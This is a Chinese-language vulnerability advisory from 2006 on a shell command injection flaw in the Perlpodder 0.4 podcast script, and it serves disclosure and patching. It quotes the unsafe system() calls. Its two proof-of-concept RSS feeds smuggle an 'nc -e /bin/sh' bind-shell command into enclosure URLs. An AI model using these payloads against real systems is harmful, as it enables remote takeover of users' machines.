Perlpodder任意Shell命令执行漏洞
发布日期:2006-05-22
更新日期:2006-05-22
受影响系统:Perlpodder Perlpodder 0.4
不受影响系统:Perlpodder Perlpodder 0.5
描述:
BUGTRAQ ID:
18067
Perlpodder是用PERL编写的podcatcher脚本,用于自动下载多媒体文件的索引。
Perlpodder实现上存在输入验证漏洞,远程攻击者可能利用此漏洞诱使用户在客户机器上执行任意命令。
当使用perlpodder获取文件索引的时候,perlpodder会从服务器所提供的XML文件获取媒体文件的URL。该URL保存到了$dlset变量中。有两种情况会同system()命令使用这个变量:
第一种用途是同echo记录URL(278行):
[...]
277 # add urls to log file to mark as retrieved
278 $addurl = "echo " . $dlset . " >> $log_path ";
279 system $addurl;
[...]
第二种用途是用wget获取媒体文件(294行):
[...]
291 # Prepair to call wget
292
293 $wget_path = "$cwd". "$datadir" ;
294 $wget_cmd = "wget --quiet --background -o /dev/null -c --tries=2
--timeout=20 --random-wait " . $dlset . " -P ".
$wget_path ;
295
296 if ($DEBUG > 0) {
297
298 print "running " . $wget_cmd . "\n" ;
299
300 }
301
302 system $wget_cmd;
[...]
但没有正确的过滤$dlset,因此远程服务器可以在URL中包含任意Shell命令,然后使脚本调用system()执行。
<*来源:RedTeam (
http://www.redteam-pentesting.de/)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=114832050308501&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
攻击echo调用:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl"?>
<rss version="2.0">
<channel>
<title>RedTeam Pentesting Example Malicious Server Feed</title>
<item>
<enclosure url="
http://www.example.com/example.mp3 >> /dev/null; nc
-e /bin/sh -l -p 1337 &#"
length="241734" type="audio/mpeg" />
</item>
</channel>
</rss>
攻击wget调用:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl"?>
<rss version="2.0">
<channel>
<title>RedTeam Pentesting</title>
<item>
<enclosure url="
http://www.example.com/example.mp3; nc -e /bin/sh -l
-p 1337 &#"
length="241734" type="audio/mpeg" />
</item>
</channel>
</rss>
建议:
厂商补丁:
Perlpodder
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://prdownloads.sourceforge.net/perlpodder/perlpodder-0.5.tar.gz?download浏览次数:2980
严重程度:0(网友投票)